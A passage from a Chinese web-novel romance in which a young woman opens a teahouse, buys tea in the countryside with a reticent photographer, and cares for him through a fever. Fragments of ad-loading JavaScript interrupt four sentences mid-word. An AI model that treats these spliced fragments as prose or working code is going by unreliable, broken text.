余念念等了足足两分钟,等不下去了,开口:“爸?” 余爸不愧是余家最沉稳的男人,两分钟内默默消化了这个消息,颇为沉着地应了一声:“哦,在呢,我一会儿把联系方式发到你手机上。” “谢谢爸,记住,千万别告诉我妈!” “......嗯,那个,念念啊,”余爸沉着的声线里出现一丝裂缝,不知是不是想象了一下余念念妈知道这件事时的场面,“上次你妈不是说,让你最近回家一趟?” “再说吧,我最近很忙,极忙,先挂了,最后再说一遍:千万千万别告诉我妈!!” “......哦。” —————— 晚上,到了和白砚约定好的时间,余念念准时走进了颜喜书画斋,喊了声:“白爷爷。” 白老爷子正坐在书桌前临摹字帖,闻言放下毛笔,笑着站起身,一旁的沙发上,白砚也放下手上的书,直起身子。 余念念颇为自来熟地将手里捧着的一支腊梅塞到白砚怀里,冲白老笑道:“早上我就看到您店里有个好看的花瓶空着,刚刚街上正好看到卖腊梅的,就顺道买了一支。” 白老不住点头:“选得好!”又问:“早上就来过店里了?” “来过了,差点把咱们花瓶撞碎。”白砚捧着花瓶和花往后面走,淡淡应道。 余念念干笑两声,心想莫非天仙的本体是个毒舌? 白老笑着把余念念引到沙发边坐下,又从书桌抽屉里取出两份纸质合同,递给余念念前,先看着她问了句:“小余,你真的想好了么?这回没喝酒吧?” “没有没有!”余念念疯狂摆手,正襟危坐,“我是认真的想要经营好这间店铺的。” 白老点点头,将合同递过来,上面他的那部分已经签好字盖好章,余念念接过来,一笔一画签好字,留了一份,又递还一份回去。 “白爷爷,我听白砚说,您这几天都没有把店铺挂出去,就为了等我考虑清楚,而且,我打听过了,您给我的租金比临近的所有店铺都要便宜,真是谢谢您了。” “没什么,那天晚上你非要拿我手写的毛笔字,还喊我一声‘爷爷’,我就觉得跟你很投缘。经营店铺呢,说不定也需要一些缘分,以前的那些人缘分没到,到你这儿,说不定缘分就到了。” 余念念听得高兴,用力点头。这时,白砚捧着插了腊梅的花瓶出来,放到店铺一角的花架上,整个屋子里一下子清香四溢。 “对了,我上次答应要送你一幅正经的字画,你想好要什么了么?”白老问。 “嗯,想好了!今天我也是来找您讨这副字画的,就要‘老街茶馆’四个大字,到时候我装裱好了挂在店铺外面当招牌。” “哦?这么说,你要开茶馆?” “嗯,但可不是简简单单的茶馆,内有玄机,先保持神秘,您就敬请期待吧~” “哈哈,看来,你是要招揽这老街上的老家伙们去你的茶馆了?” “没错,我想好了,不跟对面三条街的商户抢年轻客群,就扎根老街,深挖中老年客群的需求!” “哈哈哈哈,好啊,等你的茶馆开张了,我这个老家伙第一个去捧场!” 余念念不好意思地低头笑了下,酝酿片刻,举起一根食指,眨着星星眼,问:“白爷爷,我能不能现在就找您讨一个额外的支持?” “你尽管说。” 她眼睛瞟向坐在一旁又举起书的白砚,小声道:“能不能请白砚老师给我提供一些摄影支持?” 白老大手一挥:“嗨,那还不简单,我答应了!” 书本后,白砚清清淡淡的声音飘出来:“爷爷,我在这儿呢,您就不象征性地征询下我的意见么?” 接着,他放下书,看向两手放膝一副乖乖女的样子坐在沙发上的人:“余念念,现在我是‘白砚老师’了,不是‘天仙’了?” ......他的本体绝对是个毒舌!余念念内心大喊,面上却挤出无比真诚的笑容:“哪儿的话,您永远是我最尊敬的摄影大师白老师,我的茶馆永久向您免费开放!” “不必,我要是去喝茶肯定会付钱的。你想要什么样的照片?” “还没想好呢,但后面肯定会需要的,我先预定着,等想好了,再找你兑现。”余念念欢快地说。 白老在一旁看着他们两个一来一回地说话,脸上笑意渐深,拍拍白砚的肩膀,冲余念念道:“还有什么需要的,尽管跟白砚提,他会全力支持你。” “谢谢白爷 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 爷,暂时没什么了,我明天要去乡下找茶商订购茶叶,等我回来,策划好茶馆的开张方案,再给您送邀请函。”余念念说着,站起身。 “明天要去乡下?你一个人去么?”白老关心地问。 “嗯,一个人,不过茶商跟我爸相熟,已经打好招呼了。” “那怎么行,你一个小姑娘,不安全!这样吧,白砚,你明天陪小余一起去。” “啊?”余念念和白砚同时发出声疑问。 “不用了白爷爷!不用麻烦白砚,我自己可以的。”余念念说道,心想才不要又欠天仙一份人情。 “不麻烦不麻烦,反正他最近没什么事,天天杵在店里晃来晃去的,我看着也烦。白砚,你明天要照顾好小余,记住了么?” 白砚显然极不擅长拒绝自己爷爷,沉默了两秒,便点点头,应道:“知道了。” 白老满意地点点头,眼神在两人间打了个转,又冒出句:“天黑了,你送小余回家吧。” 余念念看了看墙上的钟,才七点半,且她家离颜喜书斋只有不到五百米的距离,但她没有吭声——要说还没看出白老什么心思,那是假的,但她也不想当面回绝老人家的一番好意,只得跟在白砚后面出了店铺,跟白老打了招呼,往她家的方向走着。 两人一前一后沉默着走了一阵子,白砚顿住脚步,等着余念念跟上来,开口道:“我爷爷的意思可能你也看出来了,不用放在心上,过阵子他就放弃了。” 余念念有些尴尬地笑了笑,心想看来白老不是第一次撮合了,且每次撮合都以失败告终,这次也要让他失望了。 “明天,真的不用麻烦你了,我自己一个人可以的,你就别管我了。” 白砚摇摇头:“答应的事情就要做到,明天早上我在你家楼下等你。” 余念念停下脚步,站在路灯下,凑到白砚面前,仰着头认认真真盯着他看了一会儿,看得白砚微微皱眉,身体后仰,问:“干嘛?” “我发现你这个人,真的很表里不一!” “哪里不一了。” “你外表看上去很高冷,一个字都懒得多说,内心却很有正义感,遇到别人有困难会挺身而出。你看似是个不食人间烟火的天仙,内心却很老派,三观极正,尊老爱幼,答应别人的事情就一定要做到。这不是表里不一是什么?” 白砚沉默一阵子,罕见地扬了扬眉头:“我就当你是在夸我吧。” 余念念笑起来:“我确实是在夸你,不过不好意思,白老的好意只怕我要辜负了,我不喜欢太过内敛的男人。” 白砚面无表情地耸了耸肩:“哦,这么巧,我也不喜欢爱喝酒的女人,更不喜欢喝了乱撒酒疯的女人。” “你!”余念念气结,两手叉腰,怒目而视,从鼻子里喷出口气:“哼!我宣布短暂的相谈甚欢环节结束,直接进入不欢而散吧,不用送了!” 说完,扭头便往冲进李婶家的楼道,头也不回地扔下句:“明早七点半,不要迟到!” 9. 敏感 从崇安市到茶商所在的东安乡的路途十分辗转。 他们要先坐三个小时的高铁到余念念家坐在的十八线小城桐贤市,再坐一个多小时的大巴到下面的江临镇,最后再坐四十多分钟的乡村公交到东安乡。 下午三点多,终于在一块孤零零伫立在农田边的公交站牌边迈下公交车时,天空下着淅淅沥沥的小雨,余念念仰起酸痛的脖颈,感到淋在脸上的雨水里还夹杂着冰渣,脑中浮现前一天查天气时屏幕上大大的“晴”字,一时间气笑了。 身后,身穿黑色冲锋衣的白砚跟了下来,从包里掏出把伞,撑开了,递给余念念。 “还是你周到。”余念念不好意思地接过来,努力举高,遮在白砚和自己的头顶上——之前没觉得,现在举伞举得费力,她才在心里感叹一句:天仙真高啊,怕得有186了,还好她也不算太矮,要不然垫脚的话也太丢脸了。 “不用,”白砚将伞推到余念念头顶正上方:“你自己打就好,不然两个人都会淋湿。” 余念念心里升起一阵愧疚:“对不起啊......白爷爷要是知道这么麻烦,肯定也不会让你来的。” 白砚边伸展了几下四肢,边说:“不会,爷爷觉得我身板弱,就想让我吃苦。” 余念念上下打量一番他穿着冬装依然清瘦硕长的身形,在心里默默赞同:虽然说瘦点有仙气,但确实是有点弱。 “看什么呢?前面带路。”白砚站定,回头冲她说道。 “哦!来!到了我的的地界,跟着小余领队走起来!”余念念举着伞快跑几步到前面,走得雄赳赳气昂昂。 二十分钟后。 雨势渐大,在一处看上去跟二十分钟前差不多的农田边缘,两人站定,小余领队已经蔫了,低头研究了一阵手机上的地图,又举头茫然四顾。 白砚的情绪很稳定,淡淡说了句:“这儿真的是你的地盘么?” 余念念默默凑过来,将伞递到白砚手里,跟他贴近了挤在伞下,两手捧着手机又仔细研究起来,嘴上弱弱道:“我家在桐贤市,乡下我来的少......” 白砚四下张望了片刻,指着一个方向道:“那儿有个房子,去问问人吧。” 余念念听出他的潜台词——等你研究就是浪费时间——不敢多说什么,跟着他后面走着。 到了房子边一看,居然是座已经废弃的破屋,屋顶塌得只剩一半,地面上长出一丛丛杂草。 “进去躲躲雨也好。”白砚跨进门槛,走到剩下的半边屋顶下面,立住,手插在兜里,看着屋顶边缘落下的一串雨帘,没有丝毫急躁的样子。 余念念被他感染,将伞收起放到地上,在他旁边蹲下来,撑着脑袋,听雨砸在草丛上的滴答声。 世界仿佛静下来,也慢下来,两个人就这么不说一句话地看雨,听雨。 不知过了多久,余念念有气无力地开口:“你说,这雨几点能停啊——啊啊啊!!!” “啊”了一半,从叹息幽怨拔地而起直转为尖叫,她整个人惊恐地从地上弹起来,窜到白砚背后,两手扒住白砚的肩膀,奋力一跃,爬上了白砚的背。 “癞蛤蟆!啊啊啊!有只好大的癞蛤蟆!!”余念念一边疯狂尖叫,一边收紧手臂紧紧环住白砚的脖子不让自己掉下去。 白砚被她勒得眼前一黑,咽喉遭受暴击,爆发出一阵咳嗽,但两手还是下意识地环住余念念的腿,用力拍了拍她的脚:“冷静!你先松开一点,我要被你勒死了。” 余念念停住尖叫,两手微微放松,眼睛紧紧盯着地上挪动的癞蛤蟆,见它又有起跳的趋势,将头埋进白砚的脑袋一侧,紧张地低喊:“离它远点,离它远点!” “啊......”白砚发出声闷哼,脖子一下子僵住,靠近余念念脑袋的那侧,筋脉明显地凸起,呼吸也跟着急促起来,“你别说话......” 余念念不明所以,往前凑得更近,呼吸打在白砚的脖子和耳后:“你怎么啦?我又勒到你了?你哪里不舒服?但你千万千万别把我放下来,求你了!” “你......”白砚脚下一下子有些虚浮,晃了两下才稳住,声音也染上些飘忽:“余念念,离我的脖子远一点......” 余念念反应过来,直起上半身,隔开一段距离去看白砚的脖子,发现那一片皮肤在她眼皮底下一点点由白皙转为绯红,且红色由脖子逐渐蔓延至耳后,又爬上面部。她伸长脑袋去看白砚的侧脸,这才发现他正紧皱眉头,紧咬牙关,像是在努力忍耐着什么。 “你......你脖子也怕痒啊?”余念念将脑袋冲着正前方,轻声说道,“你的身体也太敏感了吧。” 白砚的身体被她的虎狼之词刺激得微微一震,闭上眼,连做几个深呼吸,胸口随之起伏。 余念念手环在他胸前,感觉到什么,疑惑地伸手探了探,问:“你怀里揣了什么东西?怎么硬硬的?” “......那是肌肉。” “啊,你居然有胸肌?”余念念有些惊讶,下意识又伸出手去想要确认一下,耳边听到一阵真切的摩擦声,后知后觉地意识到那是白砚齿间发出的声响,于是及时刹车,讪笑一声,“哈,你看着清清瘦瘦的,没想到,居然有肌肉呢。” 白砚没接话,回头看了眼地上,癞蛤蟆已经不见,两手一松,任由余念念滑了下来,接着,像是被抽干了力气,一点点挪动到墙边,顾不得干不干净,斜着身子倚了上去,背影看上去柔弱又无助。 “白砚......你没事吧?” 那颗从后面看上去毛茸茸的脑袋无精打采地摇了摇。 余念念的愧疚进一步加深,同时夹杂了一些对他身体构造复杂而矛盾的感触,迟疑着,不知道该闭嘴还是该安慰,好在,电话在此时响了起来。 “啊,是茶商!”余念念看了眼屏幕,喊了一声,接起来,“周叔叔!您终于空下来了!” “小余!实在不好意思啊,在茶厂忙了大半天,都没顾得上看手机,你现在在哪儿,我去接你们!” “我们在一片农田中 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 间的一间塌了一半的老房子里。” “哦,那我知道了!等我几分钟,马上到!” 十分钟后,跟白砚一起挤在农用拖拉机后面,颠簸在泥泞的乡间小路上时,余念念觉得她会失去白砚这个朋友——如果他们现在算朋友的话。 拖拉机很小,她跟两手举着伞,缩着双腿,才能保证身体都在车里面。白砚就更可怜了,两手环抱着双肩包,长长的身体折叠起来,紧贴着半截高的车壁,不知道是不是刚刚被勒得狠了,这时闭着眼,不时发出声低沉的咳嗽。 余念念把伞又往他头顶歪了歪,努力遮住他整个身体,担心地问:“你是不是不舒服?” 白砚摇摇头,声音有些嘶哑:“没事,可能是没坐过拖拉机,颠得头晕。” 下午快五点,终于抵达茶厂。 名叫周岩的茶商带着他们一路参观了茶厂的设备和制作流程,最后将他们引进厂中仅有的一间办公室里坐下。 “小余,接到你爸电话的时候我很惊讶,我的茶厂还从没接待过像你这么年轻的客人呢,更别说还是个姑娘家。” 周海岩边说话,边沏了两杯热茶,送到余念念和白砚面前,热气伴着茶香从杯子里飘出来。余念念凑近了深深闻了一口,笑起来:“就是这个香气!我从小闻到大,我爸一天都离不了。周叔,这个茶叫什么名字?” “倒是没有正经名字,种茶的那片地方叫马坑,我们就随口叫它‘马坑茶’。” “马坑?这也太难听了吧!” “哈哈,我不擅长这个,只会制作茶叶,而且来收茶的都是像你爸那样几十年的老熟人,所以也不需要名字。” 余念念眼睛一亮:“周叔,我可以给它取名字么?我的茶馆可以用,以后,你的茶厂也可以用,说不定,可以吸引更多客户呢。” 周海岩想都没想,便点头应道:“当然可以,你们年轻人脑子活泛,想出来的名字肯定好听。” “谢谢周叔!”余念念兴奋地直搓手,又想到什么,问:“那这里有没有什么风景好的地方,或者是古建筑?我需要收集一些灵感素材。” 周海岩摸着下巴上的胡渣,想了想,说道:“要说风景和古建筑,可能就一个地方,在最高的茶山上面,有个据说有二百年历史的凉亭,太阳下山的时候,从亭子里望出去的风景最好!”他扭头看了眼窗外,说:“正好雨停了,这个时间过去,刚刚好!” 余念念刚想站起身,又有些犹豫地停住,有些担忧地看向身旁的白砚,他进来坐下后,便闭眼靠在沙发上,时不时用手指按揉着太阳穴,看上去很疲惫。 像是察觉到了余念念的眼神,白砚睁开眼,站起身,拿上装着相机的背包背在背上。 “走吧,去凉亭。”他边说着,边抬脚从余念念身前迈过去,没站稳,身体一歪,被余念念抬手撑住,手心的温度传到余念念手掌上。 “白砚,你的手好烫。” “刚刚捧了热茶,当然烫。快走吧,错过现在,又要多耽误一天。” 10. 病倒 田野中,一座古朴的石头六角亭伫立在最高处,显得孤寂,但时值傍晚,夕阳给它罩上一层金灿灿的余晖,将这份孤寂冲淡了不少,脚下茶田里,茶树枝头虽染了寒霜,但连绵不绝的起伏中隐隐蕴藏生机。 “周叔,明年肯定是个好年头!”余念念被美景挑起情绪,兴奋地冲周海岩喊道。 “哈哈哈,借你吉言!下了一天的雨,刚好这时候放晴了,让你赶上了,是个好兆头,看来你的茶馆也会生意兴隆!” “嗯!肯定会的!”余念念高兴得快要蹦起来,跑到白砚身边,拽着他找角度:“站这里拍,特别美!” 白砚已经拍了几张自己满意的,这时顺从地跟着余念念脚步走来走去,问:“这算是兑现了你昨天找爷爷要的摄影支持么?” 余念念眼珠子一转:“那当然是不算的!这是包含在白爷爷昨天交代你出来后要照顾好我,摄影支持我还有别的用处的,你可别想赖账!” 白砚没反驳,默默调整着相机,认真地又拍起来,显然对眼前的景色和余念念挑的角度都是认可的。 “我有灵感了!不如,就叫‘寒亭夕照’茶,怎么样?”余念念一拍手,说道。 “好听!”周海岩极为捧场地鼓起掌来,“一听就特别有意境!” “等明年春天,茶农在这里采新茶的时候,我们在亭子边开一场直播,邀请网友边赏美景,边了解制茶工艺,看得开心了,就带走一份‘寒亭夕照’!” “哦哟!小余,你们年轻脑瓜子就是好使啊!这些点子我们厂子的人是想不出半点的!” “嘿嘿,周叔,我在广告公司当了几年打工狗,这种小小策划方案还不是张口就来,咱们俩联手,以后一起做大做强!” “哈哈哈哈我老周跟着你小余老板一起,做大做强!”周海岩被她逗得笑得停不下来,一旁,白砚也在相机后面勾起嘴角。 从茶山上下来,周海岩开车带他们回乡里吃晚饭。 前排座位上堆了一堆的杂物,余念念和白砚一起坐到后排——后排也堆了不少东西,他们只能膝盖贴着膝盖地挤在一起。 “不好意思小余,下午车不在厂里,只能开拖拉机去接你们,颠坏了吧?”周海岩边发动汽车边说道。 “没事周叔,除了颠了点,坐拖拉机不就和坐敞篷轿车差不多么。”余念念轻快道,又逗得前排一阵大笑。 虽这么说着,余念念想起下午白砚坐拖拉机时不舒服的样子,扭头去看他,见他又闭着眼睛靠在了椅背上,只是眉头轻蹙,嘴唇有些发白。她于是努力往旁边挪了挪,让他能靠得不那么憋屈。 从茶山到乡里需要开一阵子,余念念一路和周海岩说说笑笑,倒也不觉得时间久,路途过半时,突然感觉到右边肩膀一沉,一阵暖意从脖子边透过来。 余念念虽然已经二十六岁,且是个公认的美女,但无奈从小家里管得严,上学时只顾着埋头念书,工作了只知道卷项目,是个母胎单身,别说谈恋爱了,连和男生亲密接触的经验都是零,眼下肩膀上扛了白砚的脑袋,这颗脑袋还暖烘烘毛茸茸地顶在自己脖子上,这威力不亚于扛了颗炸弹。 她连手都不知道该往哪儿放了,僵硬地端坐着,接话的语气也不那么自然了。 煎熬了几分钟,余念念觉得有点不对劲——这颗脑袋的温度越来越高,她右边脖子都快焐出汗了。 她抬手轻轻触了触白砚的额头,果不其然,温度高得吓人。 “白砚,你发烧了!”余念念低喊。 白砚没反应,脑袋随着车子的起伏在余念念肩膀上一下一下摇晃着。 “周叔,快送我们去医院,白砚的额头好烫!”余念念着急地冲前排喊道。 车子速度骤降,周海岩拐了个急弯:“乡下没有医院啊,我送你们去最近的卫生院!” 到了卫生院,余念念将白砚用力摇醒,但他烧得晕晕乎乎,一路被余念念牵着走了进去。 “四十度?!” 卫生院里唯一一位中年女医生嗔怪地从口罩后面瞥了大喊大叫的余念念一眼:“是啊!怎么烧到这么高的温度才来!” 余念念无措地抓着白砚的胳膊——他已经又找到屋里唯一一张床躺了下去,蜷起身体,嘴里有气无力地说道:“我睡一觉......” “不行!”余念念和女医生同时喊道。 短暂的慌乱后,余念念定下心神,迅速做出决定:“医生,麻烦您给他做一些简单的降温,我们马上开车去市里的医院。周叔,实在对不住,麻烦送我们去桐贤市人民医院吧!” 卫生院的环境实在太简陋了,拖下去只怕越来越糟,最近的三甲医院就是她家旁边的桐贤市人民医院,今晚怎么也要到那里她才能安心。 两个多小时的车程显得很漫长。 周海岩默默开着车,在平稳行驶的前提下,让车速尽量快一点。 后排,余念念一会儿看看窗外,一会儿看看白砚睡着的脸,让自己尽量不显得焦躁。 又一个减速,白砚的脑袋再一次从余念念肩头滑下来,失去支撑地前后摇晃。余念念索性向后靠了靠,环住白砚的身体,让他整个上半身向一侧倾倒,脑袋枕到她的腿上。白砚任她摆布,脑袋找到了依靠,又睡过去,平时打理整齐的头发眼下杂乱地耷拉在额头上,可怜兮兮的样子。 余念念从后排杂物里翻出个毯子,盖在白砚身上,盯着他的脸看了片刻,担心的同时,不禁觉得好笑:好好一个清清爽爽的天仙跟着她出来,还没一天,就被折腾成这副乱七八糟的样子,回去可怎么向白老交代啊...... “别......别......”白砚突然皱着眉头发出声哼唧,身体也跟着扭动起来。 余念念赶紧凑下去,将耳朵贴到他嘴边:“你说什么?别什么?” “别......别对我脖子吹气......” “......” 这段路很平整,车辆行驶得平稳无声,车厢里安静得连呼吸声都能听见,所以,余念念完全无法寄希望于前排的周海岩没听见刚刚白砚嘴里飘出的话...... 她不敢抬头,怕在后视镜里与周海岩的眼睛对视上,更不敢解释——这种事只会越描越黑,于是,拍了拍白砚的胳膊,整理了一下毯子,认真看了会儿窗外,又掏出手机查了一下时间,总之,很忙,勿cue。 到了医院,排队,挂急诊,开单子,缴费,打针......一系列流程下来,已经半夜。 白砚的温度终于降下去,在输液室的床上沉沉睡过去。余念念长长舒了口气,跟周海岩一起退到走廊上,带着歉意对他说道:“今晚给您添麻烦了,真是过意不去,我给您在附近酒 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 店开个房间,您赶紧去休息一下吧。” 周海岩摆摆手:“小余,不用管我,你照顾好小白就行,这里我熟得很,怎么都能对付一晚上。快进去看着小白吧,别管我哈!” 说着,他转身就走,余念念在后面喊了两声,见他拒绝得坚决,也就作罢,回到白砚的床边,一晚上,盯着输液瓶余量,快见底时喊护士过来换针,快要天亮时,终于打完最后一瓶,这才趴在床边睡了过去。 早上七点,医院开始嘈杂起来,走廊里一阵一阵的人声飘进来,将本就睡得不安稳的余念念吵醒。 她揉揉眼睛,抬起头,与床头的白砚对视上。 “你醒啦?感觉如何?还有没有不舒服?” 白砚收回看着她的眼神,视线游移了会儿,回道:“没有不舒服了。”过了一会儿,又问:“你昨晚守了一夜?” 余念念点头:“那当然,你发烧都是因为我,先是把伞让给我自己淋了雨,后来又坐露天拖拉机吹风,傍晚还穿着湿衣服去山上拍照,我要是不看着你退烧,怎么能安心。” 她省去了其中某个环节:在废弃老屋被她扼喉外加敏感的脖子受到刺激以至于留下心理阴影...... 白砚笑起来,低声道:“没什么,你又不是故意的。” 余念念心里咯噔一下——眼前这个脸色苍白柔柔弱弱又浅浅笑着的天仙,怎么有点好看!不不,她一直知道他好看,要不然就不叫天仙了,但是,这令人心痒痒的好看又是怎么回事! 一定是睡眠不足导致神经错乱!她用力摇摇头,站起身,有些慌乱的说:“你再躺一会儿,我去外面给你买早餐!” “不用了,我已经退烧了,直接走吧。”白砚掀开被子要下床。 “不不!”余念念一把把他推倒在床上,“你需要再观察一下,躺着等我回来!”说着,冲出房间,在走廊上一阵狂奔,冲到医院候诊大厅,才停下脚步,试图整理思绪——到底,是怎么个事呢? “念念?” “小余!” 一男一女两道声音同时响起,瞬间将她思路打断。 “念念,你怎么在这儿,什么时候回家的?”一个梳着波浪披肩发,身穿合体连衣裙的中年女人惊讶地走近,熟稔地拉起余念念的手摩挲着。 “啊,李阿姨......”余念念尴尬地喊了声,半天没想好说辞。 “昨天晚上来的,陪她男朋友看病呢!”另一边,周海岩走近两人,大咧咧地替余念念回答,又将手上提着的几个一次性饭盒递到余念念手里,问:“小白咋样了,退烧没?” “男朋友?”李阿姨惊讶地倒抽口气,将余念念的手捏得发白,“念念,你什么时候交的男朋友!” 余念念满脸惊恐,冲着两人疯狂摆手:“误会了误会了!周叔,他不是我男朋友!李阿姨,我还没交男朋友!” “不是男朋友?你们都那样了还不是男朋友么?”周海岩疑惑地问。 轮到余念念倒抽了一口凉气,咽了口口水,强装镇定地对李阿姨说道:“反正,李阿姨,您千万别告诉我妈我在这儿,我回头自己告诉她这件事。” 李阿姨八卦地一笑,还没说话,旁边的周海岩“啊——”了一声。 “晚了,我已经给你爸打过电话了,就刚刚,他们说不定已经在来这儿的路上了。” 11. 逃跑 接下来上演的是:生死时速之逃出桐贤市第一人民医院。 余念念将李阿姨原地翻了个边,冲着医院门口推出去,边推边说道:“阿姨,交给您一个光荣而艰巨的任务——在门口帮我拖住我妈,我从后门逃出去,这么重大的消息我一定得做好万全的准备再告诉她,医院见面实在太不吉利了,您一定要帮我这个忙,过年我带男朋友去给您拜年!” 李阿姨被她推着走,嘴里哇啦啦地喊着,听到最后一句,瞬时开心了:“那可以!过年一定带到我家来!我帮你多争取一点时间,但是你妈那个人你知道的,最后肯定会攻克我这道防线——” 余念念已经转回身子往里冲,嘴里应着:“知道,多撑一会儿是一会儿!谢谢您啦!” 冲回医院大厅,余念念一把拽住愣在原地的周海岩,往输液室的方向跑,周海岩边跑边问:“小余,我是不是闯祸了?” “您闯祸了!您闯大祸了!火药筒子要被您点燃了!” 冲进白砚所在的房间,余念念掀开白砚身上的被子,将床尾的外套递给他,语速极快地道:“你说得对,烧退了就早点回崇安,周叔现在就送我们去火车站,快穿上衣服,别错过最近一班高铁。” 白砚疑惑地看了周海岩一眼,后者有些心虚地低下头,嗫嚅道:“小白,我以为你是小余男朋友,把小余带男朋友来医院看病的事告诉了她爸妈......” 余念念一左一右挟着两人冲出走廊:“你可能不了解我妈,但是,如果你不想被我妈接到家里严刑拷打三天三夜的话,就赶紧逃吧!” —————— 一个小时后,从桐贤开往崇安的高铁缓缓启动,余念念长舒一口气,掏出张纸巾,擦了擦额头上的汗水,虚脱地靠到椅背上。 “有这么恐怖么?”一旁的白砚默默观察了片刻,终于开口问道。 余念念有气无力地瞥了他一眼:“通过你身上的松弛感我就知道,你肯定不能跟我感同身受。” “爷爷偶尔也会管我。” “白爷爷?那简直是神仙爷爷好么!而且隔代一般都亲,只有父母会带来真正的压迫感。” 听到这话,白砚沉默下来,视线低垂着看着脚下。 余念念意识到什么,不安地坐直了身体。从她第一次见白砚,他跟在爷爷身边,后面熟了,也只见他跟着白爷爷生活在老街,照看着书画斋,老街街坊也似乎从不提起白砚的父母,连李婶这么八卦的人,提到白砚时也避而不谈他的父母。 “对不起......我是不是说错话了?” “没有,你说的对,我确实不能感同身受。”他扭过头,见余念念坐立不安的样子,脸上露出笑意,温声道:“没什么,我对我的生活挺满意的。” 余念念稍稍安心了一点,见白砚闭上眼睛开始休息,这才掏出手机看了眼,立马被屏幕上的提示震撼到了。 11个未接来电——一个是来自余爸,剩下10个都是来自余妈。 还有长长一串微信消息: 【你在哪?】 【为什么不回家?】 【男朋友是怎么回事?】 【现在在哪里?赶紧给我回家!】 【长本事了,跟我和你爸玩过家门而不入了?!】 【念念,我保证不批评你,你先回家吧。】 【你爸给你烧你爱吃的清蒸鲈鱼,你那位男朋友爱吃什么?】 【怎么不回消息?你就这么让父母干着急么!】 【哼,还买通你李阿姨!你长本事了啊!】 【给我回家!!】 ...... 余念念在微信里感受到了她妈情绪的跌宕起伏,咽了口口水,推敲良久,回复:【亲爱的母亲大人,是周叔误会了,根本不是男朋友,就是一个普通朋友,我急着赶回去工作,实在没空回家,过年给您带礼物,爱您!】 刚发出去,又收到一条微信,退出去看,是李阿姨的一条微信语音,点开,中气十足的声音一下子冒出来: “念念呐,我可是不辱使命拖了你妈十几分钟!过年千万别忘了带着男朋友来我家拜年哦!” 余念念急忙点暂停,忙中出错,多点了几下,语音重复播放了两遍,她尴尬地看了看白砚,见他已经睁开眼睛,像是在理解语音的内容。 “你有男朋友了?”他淡淡问。 “没有。” “那是过年前准备要有?” “也不是,”余念念摆摆手,“嗨,都是情急之下的缓兵之计,到时候就说分手了就好啦。” 白砚盯着余念念看了几眼,所有所思地收回视线,没有再多问什么。 接下来,余念念又给周海岩打了个电话,敲定了一些没来得及细聊的问题,比如第一次采购的茶叶数量、价格、发货时间、发货方式等等之类,仔仔细细聊了半个小时,总算是把各个方面都聊到了,末了,周海岩小心翼翼问:“小余,出逃还顺利吧?” 余念念扑哧一声笑出来:“顺利,还得多谢您!” “那就好,哈哈,跟着你们年轻人疯了一次,觉得我自己都年轻了几岁,话说回来,你妈有那么恐怖么?” “希望您不会见识到我妈恐怖的一面,”余念念突然想到什么,捂住嘴道,“周叔!您没告诉我妈我要开茶馆的事吧?” “没有啊,我刚跟你爸说你带着男朋友来看病了,你妈的耳朵跟安了雷达似的就听到了,一把把电话接过去,问我在哪个医院,说马上过来,就挂了,压根没来得及说别的。” 余念念放松下来:“那还好,那还好。周叔,茶馆的事先帮我保密哦,过阵子开张了,给您送请帖,您有空的话过来坐坐。” “好啊,我也想看看‘马坑’茶变成‘寒亭夕照’后会是啥样。” —————— 回到崇安市,回到老街,已是午饭时分,街道上人不多,炒菜的滋啦声和香气不时从开着的的门窗中飘出。 余念念和白砚并排默默走着,不知不觉便走到颜喜书画斋门前,站定。 “这次......谢谢你啦,你刚生完病,先好好休息,等过两天,我再找你要寒亭夕照的照片素材。” “我没事,照片今晚就可以处理好,你想什么时候来看都行。” “......哦。”余念念低低应了一声。 两人都沉默下来,空气里莫名流淌着一丝微妙的气氛,余念念率先招 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 架不住,丢下句:“改天见!”扭头便走了。 白砚进了自家店门,看到半个匆匆缩回到报纸后面的花白脑袋,无奈又好笑地喊了声:“爷爷,我回来了。” “哦!回来啦,还顺利么?”白老放下报纸。 “嗯,挺顺利的。” “是......哪方面挺顺利的?” 白砚正在喝水,闻言呛了一口,咳了几声,问:“您问的是什么方面?” “哦!”白老一脸正色,“自然是小余,她谈买茶的生意,还顺利么?” 白砚嘴角不易察觉地微微上挑:“顺利,她还挺擅长这个的。” 白老等了片刻,没了下文,急道:“你这孩子!夸人就不能多夸几句?挺擅长这个的,到底是怎么个擅长法?” 白砚想了想,又挤出几句:“她很会聊天,点子也多,这样的人一般合作方都不会抗拒跟她合作吧。” “哈哈,这孩子一看就很有亲和力,确实招人喜欢,”接着,他又不甘心道:“那你有好好照顾她么?” 白砚点点头:“我帮她拍了些照片,她的茶叶包装能用上。” “就没有更进一步的照顾啦?”白老索性问得更直白。 白砚脑中浮现起废弃老屋里余念念挂在自己身上的画面,觉得一侧脖子又开始发烫,接着,又想起一早在病床上醒来时,看到余念念伏在床边睡着的侧影,心里一下子有点发软。 “没了。”他面无表情道,“爷爷您别太八卦了,不利于静心养性,您快写字去吧。” 说着,快步走到店后屋内,躲过了白老的拐杖。 —————— 另一边,余念念刚进房门,便接到沈童打来的电话。 “怎么样,拿下了么?” “那必须!我,曾经的丰岚top策划师,谈一个小小的茶叶采购,还不是信手拈来。” “哦?那这么说,我帮你在你妈面前圆谎,也是多此一举喽?” “什么?!”余念念没想到早上出逃引发的震动居然波及到了沈童这里,惊讶地问:“我妈说什么了?” “说你瞒着她交了男朋友,还说你把男朋友藏着不让她见。” “你怎么帮我圆的?” “我就说,作为最好的朋友,我都不知道你有男朋友,肯定是有什么误会,还主动投敌做她的卧底,答应一发现你有任何可疑的蛛丝马迹,就第一时间向她报告!” 余念念默默在心里竖大拇指:“变被动为主动,真是高明。” “说到男朋友——”沈童拖长了音调,“该不会又是那个天仙吧?” “......嗯,白爷爷不放心我自己去,非让他陪我一起去,不过,还好他去了,帮我拍了些有用的素材,茶馆开张用得上。” “好你个余念念!我说我要请假陪你去你不让,结果让个臭男人陪你去了!老实交代,你是不是对他有什么想法?” 